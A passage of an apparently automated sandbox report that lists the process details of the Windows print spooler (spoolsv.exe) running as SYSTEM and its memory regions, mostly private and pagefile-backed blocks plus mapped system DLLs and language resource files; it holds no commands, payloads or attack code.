	os_integrity_level = "0x4000"
	os_privileges = "0x20a00080"
	monitor_reason = "child_process"
	parent_id = "8"
	os_parent_pid = "0x1e4"
	cmd_line = "C:\\Windows\\System32\\spoolsv.exe"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\SYSTEM"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\Spooler" [0xe], "NT AUTHORITY\\Logon Session 00000000:0001003b" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe]

Region:
	              id = 1799
	        start_va = 0xa90000
	          end_va = 0xa9ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000a90000"
	        filename = ""

Region:
	              id = 1800
	        start_va = 0xaa0000
	          end_va = 0xaa6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000aa0000"
	        filename = ""

Region:
	              id = 1801
	        start_va = 0xab0000
	          end_va = 0xac3fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000ab0000"
	        filename = ""

Region:
	              id = 1802
	        start_va = 0xad0000
	          end_va = 0xb0ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000ad0000"
	        filename = ""

Region:
	              id = 1803
	        start_va = 0xb10000
	          end_va = 0xb13fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000b10000"
	        filename = ""

Region:
	              id = 1804
	        start_va = 0xb20000
	          end_va = 0xb20fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000b20000"
	        filename = ""

Region:
	              id = 1805
	        start_va = 0xb30000
	          end_va = 0xb31fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000b30000"
	        filename = ""

Region:
	              id = 1806
	        start_va = 0xb40000
	          end_va = 0xbfdfff
	     entry_point = 0xb40000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 1807
	        start_va = 0xc00000
	          end_va = 0xc00fff
	     entry_point = 0xc00000
	     region_type = mapped_file
	            name = "spoolsv.exe.mui"
	        filename = "\\Windows\\System32\\en-US\\spoolsv.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\spoolsv.exe.mui")

Region:
	              id = 1808
	        start_va = 0xc10000
	          end_va = 0xc10fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000c10000"
	        filename = ""

Region:
	              id = 1809
	        start_va = 0xc20000
	          end_va = 0xd1ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000c20000"
	        filename = ""

Region:
	              id = 1810
	        start_va = 0xd60000
	          end_va = 0xee7fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000d60000"
	        filename = ""

Region:
	              id = 1811
	        start_va = 0xef0000
	          end_va = 0x1070fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000ef0000"
	        filename = ""

Region:
	              id = 1812
	        start_va = 0x1080000
	          end_va = 0x113ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001080000"
	        filename = ""

Region:
	              id = 1813
	        start_va = 0x1140000
	          end_va = 0x1140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001140000"
	        filename = ""

Region:
	              id = 1814
	        start_va = 0x1150000
	          end_va = 0x1156fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001150000"
	        filename = ""

Region:
	              id = 1815
	        start_va = 0x1160000
	          end_va = 0x119ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001160000"
	        filename = ""

Region:
	              id = 1816
	        start_va = 0x11a0000
	          end_va = 0x11a0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000011a0000"
	        filename = ""

Region:
	              id = 1817
	        start_va = 0x11b0000
	          end_va = 0x11bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000011b0000"
	        filename = ""

Region:
	              id = 1818
	        start_va = 0x11c0000
	          end_va = 0x11fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000011c0000"
	        filename = ""

Region:
	              id = 1819
	        start_va = 0x1200000
	          end_va = 0x123ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001200000"
	        filename = ""

Region:
	              id = 1820
	        start_va = 0x1240000
	          end_va = 0x127ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001240000"
	        filename = ""

Region:
	              id = 1821
	        start_va = 0x12c0000
	          end_va = 0x12c6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000012c0000"
	        filename = ""

Region:
	              id = 1822
	        start_va = 0x12d0000
	          end_va = 0x12e3fff
	     entry_point = 0x12d0000
	     region_type = mapped_file
	            name = "localspl.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\localspl.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\localspl.dll.mui")

Region:
	              id = 1823
	        start_va = 0x12f0000
	          end_va = 0x12f0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000012f0000"
	        filename = ""

Region:
	              id = 1824
	        start_va = 0x1300000
	          end_va = 0x130ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001300000"
	        filename = ""

Region:
	              id = 1825
	        start_va = 0x1310000
	          end_va = 0x1646fff
	     entry_point = 0x1310000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 1826
	        start_va = 0x1650000
	          end_va = 0x174ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001650000"
	        filename = ""

Region:
	              id = 1827
	        start_va = 0x1750000
	          end_va = 0x1750fff
	     entry_point = 0x1750000
	     region_type = mapped_file
	            name = "wsdmon.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\WSDMon.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wsdmon.dll.mui")

Region:
	              id = 1828
	        start_va = 0x1760000
	          end_va = 0x1760fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001760000"
	        filename = ""

Region:
	              id = 1829
	        start_va = 0x1770000
	          end_va = 0x1770fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001770000"
	        filename = ""

Region:
	              id = 1830
	        start_va = 0x1780000
	          end_va = 0x187ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001780000"
	        filename = ""

Region:
	              id = 1831
	        start_va = 0x1880000
	          end_va = 0x1880fff
	     entry_point = 0x1880000
	     region_type = mapped_file
	            name = "msxml6r.dll"
	        filename = "\\Windows\\System32\\msxml6r.dll" (normalized: "c:\\windows\\system32\\msxml6r.dll")

Region:
	              id = 1832
	        start_va = 0x1890000
	          end_va = 0x1896fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001890000"
	        filename = ""

Region:
	              id = 1833
	        start_va = 0x18a0000
	          end_va = 0x18dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000018a0000"
	        filename = ""

Region:
	              id = 1834
	        start_va = 0x18e0000
	          end_va = 0x191ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000018e0000"
	        filename = ""

Region:
	              id = 1835
	        start_va = 0x1920000
	          end_va = 0x1920fff
	     entry_point = 0x1920000
	     region_type = mapped_file
	            name = "win32spl.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\win32spl.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\win32spl.dll.mui")

Region:
	              id = 1836
	        start_va = 0x1930000
	          end_va = 0x1930fff
	     entry_point = 0x1930000
	     region_type = mapped_file
	            name = "inetpp.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\inetpp.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\inetpp.dll.mui")

Region:
	              id = 1837
	        start_va = 0x1940000
	          end_va = 0x194ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001940000"
	        filename = ""

Region:
	              id = 1838
	        start_va = 0x1950000
	          end_va = 0x1a2efff
	     entry_point = 0x1950000
	     region_type = mapped_file
	            name = "kernelbase.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui")

Region:
	              id = 1839
	        start_va = 0x1a30000
	          end_va = 0x1b2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001a30000"
	        filename = ""

Region:
	              id = 1840
	        start_va = 0x1b30000
	          end_va = 0x1d2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001b30000"
	        filename = ""

Region:
	              id = 1841
	        start_va = 0x1d30000
	          end_va = 0x1d6ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001d30000"
	        filename = ""

Region:
	              id = 1842
	        start_va = 0x1d70000
	          end_va = 0x1daffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001d70000"
	        filename = ""

Region:
	              id = 1843
	        start_va = 0x1db0000
	          end_va = 0x1deffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001db0000"
	        filename = ""

Region:
	              id = 1844
	        start_va = 0x1df0000
	          end_va = 0x1e2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001df0000"
	        filename = ""

Region:
	              id = 1845
	        start_va = 0x1e30000
	          end_va = 0x1e6ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001e30000"
	        filename = ""

Region:
	              id = 1846
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 1847
	        start_va = 0x7df5ffee0000
	          end_va = 0x7ff5ffedffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007df5ffee0000"
	        filename = ""

Region:
	              id = 1848
	        start_va = 0x7ff692ae0000
	          end_va = 0x7ff692ae1fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff692ae0000"
	        filename = ""

Region:
	              id = 1849
	        start_va = 0x7ff692ae2000
	          end_va = 0x7ff692ae3fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff692ae2000"
	        filename = ""

Region:
	              id = 1850
	        start_va = 0x7ff692ae4000
	          end_va = 0x7ff692ae5fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff692ae4000"
	        filename = ""

Region:
	              id = 1851
	        start_va = 0x7ff692ae6000
	          end_va = 0x7ff692ae7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff692ae6000"
	        filename = ""

Region:
	              id = 1852
	        start_va = 0x7ff692ae8000
	          end_va = 0x7ff692ae9fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff692ae8000"
	        filename = ""

Region:
	              id = 1853
	        start_va = 0x7ff692aea000
	          end_va = 0x7ff692aebfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff692aea000"
	        filename = ""

Region:
	              id = 1854
	        start_va = 0x7ff692aec000
	          end_va = 0x7ff692aedfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff692aec000"
	        filename = ""

Region:
	              id = 1855
	        start_va = 0x7ff692af0000
	          end_va = 0x7ff692beffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007ff692af0000"
	        filename = ""

Region:
	              id = 1856
	        start_va = 0x7ff692bf0000
	          end_va = 0x7ff692c12fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007ff692bf0000"
	        filename = ""

Region:
	              id = 1857
	        start_va = 0x7ff692c13000
	          end_va = 0x7ff692c14fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff692c13000"
	        filename = ""

Region:
	              id = 1858
	        start_va = 0x7ff692c15000
	          end_va = 0x7ff692c16fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff692c15000"
	        filename = ""

Region:
	              id = 1859
	        start_va = 0x7ff692c17000
	          end_va = 0x7ff692c18fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff692c17000"
	        filename = ""

Region:
	              id = 1860
	        start_va = 0x7ff692c19000
	          end_va = 0x7ff692c1afff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff692c19000"
	        filename = ""

Region:
	              id = 1861
	        start_va = 0x7ff692c1d000
	          end_va = 0x7ff692c1efff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff692c1d000"
	        filename = ""

Region:
	              id = 1862
	        start_va = 0x7ff692c1f000
	          end_va = 0x7ff692c1ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff692c1f000"
	        filename = ""

Region:
	              id = 1863
	        start_va = 0x7ff693800000
	          end_va = 0x7ff6938c4fff
	     entry_point = 0x7ff693800000
	     region_type = mapped_file
	            name = "spoolsv.exe"
	        filename = "\\Windows\\System32\\spoolsv.exe" (normalized: "c:\\windows\\system32\\spoolsv.exe")

Region:
	              id = 1864
	        start_va = 0x7ffbeb370000
	          end_va = 0x7ffbeb441fff
	     entry_point = 0x7ffbeb370000
	     region_type = mapped_file
	            name = "win32spl.dll"
	        filename = "\\Windows\\System32\\win32spl.dll" (normalized: "c:\\windows\\system32\\win32spl.dll")

Region:
	              id = 1865
	        start_va = 0x7ffbeb6f0000
	          end_va = 0x7ffbeb7c2fff
	     entry_point = 0x7ffbeb6f0000
	     region_type = mapped_file
	            name = "drvstore.dll"
	        filename = "\\Windows\\System32\\drvstore.dll" (normalized: "c:\\windows\\system32\\drvstore.dll")

Region:
	              id = 1866
	        start_va = 0x7ffbeb940000
	          end_va = 0x7ffbebabafff
	     entry_point = 0x7ffbeb940000
	     region_type = mapped_file
	            name = "webservices.dll"
	        filename = "\\Windows\\System32\\webservices.dll" (normalized: "c:\\windows\\system32\\webservices.dll")

Region:
	              id = 1867
	        start_va = 0x7ffbebac0000
	          end_va = 0x7ffbebb66fff
	     entry_point = 0x7ffbebac0000
	     region_type = mapped_file
	            name = "wsdapi.dll"
	        filename = "\\Windows\\System32\\WSDApi.dll" (normalized: "c:\\windows\\system32\\wsdapi.dll")

Region:
	              id = 1868
	        start_va = 0x7ffbebb70000
	          end_va = 0x7ffbebc03fff
	     entry_point = 0x7ffbebb70000
	     region_type = mapped_file
	            name = "wsdmon.dll"
	        filename = "\\Windows\\System32\\WSDMon.dll" (normalized: "c:\\windows\\system32\\wsdmon.dll")

Region:
	              id = 1869
	        start_va = 0x7ffbebe50000
	          end_va = 0x7ffbebf65fff
	     entry_point = 0x7ffbebe50000
	     region_type = mapped_file
	            name = "localspl.dll"
	        filename = "\\Windows\\System32\\localspl.dll" (normalized: "c:\\windows\\system32\\localspl.dll")

Region:
	              id = 1870
	        start_va = 0x7ffbec130000
	          end_va = 0x7ffbec17efff
	     entry_point = 0x7ffbec130000
	     region_type = mapped_file
	            name = "usbmon.dll"
	        filename = "\\Windows\\System32\\usbmon.dll" (normalized: "c:\\windows\\system32\\usbmon.dll")

Region:
	              id = 1871
	        start_va = 0x7ffbec180000
	          end_va = 0x7ffbec1b9fff
	     entry_point = 0x7ffbec180000
	     region_type = mapped_file
	            name = "tcpmon.dll"
	        filename = "\\Windows\\System32\\tcpmon.dll" (normalized: "c:\\windows\\system32\\tcpmon.dll")

Region:
	              id = 1872
	        start_va = 0x7ffbec470000
	          end_va = 0x7ffbec483fff
	     entry_point = 0x7ffbec470000
	     region_type = mapped_file
	            name = "wsnmp32.dll"
	        filename = "\\Windows\\System32\\wsnmp32.dll" (normalized: "c:\\windows\\system32\\wsnmp32.dll")

Region:
	              id = 1873
	        start_va = 0x7ffbec490000
	          end_va = 0x7ffbec4a0fff
	     entry_point = 0x7ffbec490000
	     region_type = mapped_file
	            name = "fxsmon.dll"
	        filename = "\\Windows\\System32\\FXSMON.dll" (normalized: "c:\\windows\\system32\\fxsmon.dll")

Region:
	              id = 1874
	        start_va = 0x7ffbec4b0000
	          end_va = 0x7ffbec4c3fff
	     entry_point = 0x7ffbec4b0000
	     region_type = mapped_file
	            name = "printisolationproxy.dll"
	        filename = "\\Windows\\System32\\PrintIsolationProxy.dll" (normalized: "c:\\windows\\system32\\printisolationproxy.dll")

Region:
	              id = 1875
	        start_va = 0x7ffbec4d0000
	          end_va = 0x7ffbec4e0fff
	     entry_point = 0x7ffbec4d0000
	     region_type = mapped_file
	            name = "sfc_os.dll"
	        filename = "\\Windows\\System32\\sfc_os.dll" (normalized: "c:\\windows\\system32\\sfc_os.dll")

Region:
	              id = 1876
	        start_va = 0x7ffbed2a0000
	          end_va = 0x7ffbed2bbfff
	     entry_point = 0x7ffbed2a0000
	     region_type = mapped_file
	            name = "spoolss.dll"
	        filename = "\\Windows\\System32\\spoolss.dll" (normalized: "c:\\windows\\system32\\spoolss.dll")

Region:
	              id = 1877
	        start_va = 0x7ffbed390000
	          end_va = 0x7ffbed39ffff
	     entry_point = 0x7ffbed390000
	     region_type = mapped_file
	            name = "deviceassociation.dll"
	        filename = "\\Windows\\System32\\deviceassociation.dll" (normalized: "c:\\windows\\system32\\deviceassociation.dll")

Region:
	              id = 1878
	        start_va = 0x7ffbefdf0000
	          end_va = 0x7ffbefe73fff
	     entry_point = 0x7ffbefdf0000
	     region_type = mapped_file
	            name = "winspool.drv"
	        filename = "\\Windows\\System32\\winspool.drv" (normalized: "c:\\windows\\system32\\winspool.drv")

Region:
	              id = 1879
	        start_va = 0x7ffbf00a0000
	          end_va = 0x7ffbf00cdfff
	     entry_point = 0x7ffbf00a0000
	     region_type = mapped_file
	            name = "inetpp.dll"
	        filename = "\\Windows\\System32\\inetpp.dll" (normalized: "c:\\windows\\system32\\inetpp.dll")

Region:
	              id = 1880
	        start_va = 0x7ffbf08d0000
	          end_va = 0x7ffbf08dbfff
	     entry_point = 0x7ffbf08d0000
	     region_type = mapped_file
	            name = "snmpapi.dll"
	        filename = "\\Windows\\System32\\snmpapi.dll" (normalized: "c:\\windows\\system32\\snmpapi.dll")

Region:
	              id = 1881
	        start_va = 0x7ffbf2120000
	          end_va = 0x7ffbf2396fff
	     entry_point = 0x7ffbf2120000
	     region_type = mapped_file
	            name = "msxml6.dll"
	        filename = "\\Windows\\System32\\msxml6.dll" (normalized: "c:\\windows\\system32\\msxml6.dll")

Region:
	              id = 1882
	        start_va = 0x7ffbf23d0000
	          end_va = 0x7ffbf23f9fff
	     entry_point = 0x7ffbf23d0000
	     region_type = mapped_file
	            name = "fundisc.dll"
	        filename = "\\Windows\\System32\\fundisc.dll" (normalized: "c:\\windows\\system32\\fundisc.dll")

Region:
	              id = 1883
	        start_va = 0x7ffbf29d0000
	          end_va = 0x7ffbf29dffff
	     entry_point = 0x7ffbf29d0000
	     region_type = mapped_file
	            name = "winprint.dll"
	        filename = "\\Windows\\System32\\spool\\prtprocs\\x64\\winprint.dll" (normalized: "c:\\windows\\system32\\spool\\prtprocs\\x64\\winprint.dll")

Region:
	              id = 1884
	        start_va = 0x7ffbf6f50000
	          end_va = 0x7ffbf6f61fff
	     entry_point = 0x7ffbf6f50000
	     region_type = mapped_file
	            name = "cscapi.dll"
	        filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll")

Region:
	              id = 1885
	        start_va = 0x7ffbf9f50000
	          end_va = 0x7ffbf9f59fff
	     entry_point = 0x7ffbf9f50000
	     region_type = mapped_file
	            name = "rasadhlp.dll"
	        filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll")

Region:
	              id = 1886
	        start_va = 0x7ffbfb2b0000
	          end_va = 0x7ffbfb2bbfff
	     entry_point = 0x7ffbfb2b0000
	     region_type = mapped_file
	            name = "secur32.dll"
	        filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll")

Region:
	              id = 1887
	        start_va = 0x7ffbfbb40000
	          end_va = 0x7ffbfbc15fff
	     entry_point = 0x7ffbfbb40000
	     region_type = mapped_file
	            name = "winhttp.dll"
	        filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll")

Region:
	              id = 1888
	        start_va = 0x7ffbfbe40000
	          end_va = 0x7ffbfbe75fff
	     entry_point = 0x7ffbfbe40000
	     region_type = mapped_file
	            name = "xmllite.dll"
	        filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll")

Region:
	              id = 1889
	        start_va = 0x7ffbfced0000
	          end_va = 0x7ffbfcf37fff
	     entry_point = 0x7ffbfced0000
	     region_type = mapped_file
	            name = "fwpuclnt.dll"
	        filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll")

Region:
	              id = 1890
	        start_va = 0x7ffbfdab0000
	          end_va = 0x7ffbfdacdfff
	     entry_point = 0x7ffbfdab0000
	     region_type = mapped_file
	            name = "atl.dll"
	        filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll")

Region:
	              id = 1891
	        start_va = 0x7ffbfdc10000
	          end_va = 0x7ffbfdc19fff
	     entry_point = 0x7ffbfdc10000
	     region_type = mapped_file
	            name = "dsrole.dll"
	        filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll")

Region:
	              id = 1892
	        start_va = 0x7ffbfde90000
	          end_va = 0x7ffbfdea2fff
	     entry_point = 0x7ffbfde90000
	     region_type = mapped_file
	            name = "fdpnp.dll"
	        filename = "\\Windows\\System32\\fdPnp.dll" (normalized: "c:\\windows\\system32\\fdpnp.dll")

Region:
	              id = 1893
	        start_va = 0x7ffbfe0d0000
	          end_va = 0x7ffbfe0dafff
	     entry_point = 0x7ffbfe0d0000
	     region_type = mapped_file
	            name = "winnsi.dll"
	        filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll")

Region:
	              id = 1894
	        start_va = 0x7ffbfe0f0000
	          end_va = 0x7ffbfe127fff
	     entry_point = 0x7ffbfe0f0000
	     region_type = mapped_file
	            name = "iphlpapi.dll"
	        filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll")

Region:
	              id = 1895
	        start_va = 0x7ffbfe5c0000
	          end_va = 0x7ffbfe5d2fff
	     entry_point = 0x7ffbfe5c0000
	     region_type = mapped_file
	            name = "wtsapi32.dll"
	        filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll")

Region:
	              id = 1896
	        start_va = 0x7ffbff210000
	          end_va = 0x7ffbff236fff
	     entry_point = 0x7ffbff210000
	     region_type = mapped_file
	            name = "devobj.dll"
	        filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll")

Region:
	              id = 1897
	        start_va = 0x7ffbff5d0000
	          end_va = 0x7ffbff601fff
	     entry_point = 0x7ffbff5d0000
	     region_type = mapped_file
	            name = "fwbase.dll"
	        filename = "\\Windows\\System32\\fwbase.dll" (normalized: "c:\\windows\\system32\\fwbase.dll")

Region:
	              id = 1898
	        start_va = 0x7ffbff610000
	          end_va = 0x7ffbff691fff
	     entry_point = 0x7ffbff610000
	     region_type = mapped_file
	            name = "firewallapi.dll"
	        filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll")

Region:
	              id = 1899
	        start_va = 0x7ffbff7c0000
	          end_va = 0x7ffbff7e2fff
	     entry_point = 0x7ffbff7c0000
	     region_type = mapped_file
	            name = "gpapi.dll"
	        filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll")

Region:
	              id = 1900
	        start_va = 0x7ffbffaf0000
	          end_va = 0x7ffbffafbfff
	     entry_point = 0x7ffbffaf0000
	     region_type = mapped_file
	            name = "netutils.dll"
	        filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll")

Region:
	              id = 1901
	        start_va = 0x7ffbffb00000
	          end_va = 0x7ffbffb25fff
	     entry_point = 0x7ffbffb00000
	     region_type = mapped_file
	            name = "srvcli.dll"
	        filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll")

Region:
	              id = 1902
	        start_va = 0x7ffbffd20000
	          end_va = 0x7ffbffd77fff
	     entry_point = 0x7ffbffd20000
	     region_type = mapped_file
	            name = "winsta.dll"
	        filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll")

Region:
	              id = 1903
	        start_va = 0x7ffbffdc0000
	          end_va = 0x7ffbffdf2fff
	     entry_point = 0x7ffbffdc0000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")

Region:
	              id = 1904
	        start_va = 0x7ffbffeb0000
	          end_va = 0x7ffbffecefff
	     entry_point = 0x7ffbffeb0000
	     region_type = mapped_file
	            name = "userenv.dll"
	        filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll")

Region:
	              id = 1905
	        start_va = 0x7ffbfff10000
	          end_va = 0x7ffbfffb7fff
	     entry_point = 0x7ffbfff10000
	     region_type = mapped_file
	            name = "dnsapi.dll"
	        filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll")

Region:
	              id = 1906
	        start_va = 0x7ffc00110000
	          end_va = 0x7ffc0016cfff
	     entry_point = 0x7ffc00110000
	     region_type = mapped_file
	            name = "mswsock.dll"
	        filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll")

Region:
	              id = 1907
	        start_va = 0x7ffc00170000
	          end_va = 0x7ffc00186fff
	     entry_point = 0x7ffc00170000
	     region_type = mapped_file
	            name = "cryptsp.dll"
	        filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")

Region:
	              id = 1908
	        start_va = 0x7ffc002e0000
	          end_va = 0x7ffc002eafff
	     entry_point = 0x7ffc002e0000
	     region_type = mapped_file
	            name = "cryptbase.dll"
	        filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")

Region:
	              id = 1909
	        start_va = 0x7ffc004c0000
	          end_va = 0x7ffc004ebfff
	     entry_point = 0x7ffc004c0000
	     region_type = mapped_file
	            name = "sspicli.dll"
	        filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll")

Region:
	              id = 1910
	        start_va = 0x7ffc006c0000
	          end_va = 0x7ffc006e7fff
	     entry_point = 0x7ffc006c0000
	     region_type = mapped_file
	            name = "bcrypt.dll"
	        filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll")

Region:
	              id = 1911
	        start_va = 0x7ffc006f0000
	          end_va = 0x7ffc0075afff
	     entry_point = 0x7ffc006f0000
	     region_type = mapped_file
	            name = "bcryptprimitives.dll"
	        filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll")

Region:
	              id = 1912
	        start_va = 0x7ffc008a0000
	          end_va = 0x7ffc008e9fff
	     entry_point = 0x7ffc008a0000
	     region_type = mapped_file
	            name = "powrprof.dll"
	        filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll")

Region:
	              id = 1913
	        start_va = 0x7ffc008f0000
	          end_va = 0x7ffc00902fff
	     entry_point = 0x7ffc008f0000
	     region_type = mapped_file
	            name = "profapi.dll"
	        filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")

Region:
	              id = 1914
	        start_va = 0x7ffc00910000
	          end_va = 0x7ffc0091efff
	     entry_point = 0x7ffc00910000
	     region_type = mapped_file
	            name = "kernel.appcore.dll"
	        filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll")

Region:
	              id = 1915
	        start_va = 0x7ffc00920000
	          end_va = 0x7ffc00930fff
	     entry_point = 0x7ffc00920000
	     region_type = mapped_file
	            name = "msasn1.dll"
	        filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll")

Region:
	              id = 1916
	        start_va = 0x7ffc00f70000
	          end_va = 0x7ffc00fb3fff
	     entry_point = 0x7ffc00f70000
	     region_type = mapped_file
	            name = "cfgmgr32.dll"
	        filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll")

Region:
	              id = 1917
	        start_va = 0x7ffc01080000
	          end_va = 0x7ffc010d3fff
	     entry_point = 0x7ffc01080000
	     region_type = mapped_file
	            name = "wintrust.dll"
	        filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll")

Region:
	              id = 1918
	        start_va = 0x7ffc01190000
	          end_va = 0x7ffc01350fff
	     entry_point = 0x7ffc01190000
	     region_type = mapped_file
	            name = "crypt32.dll"
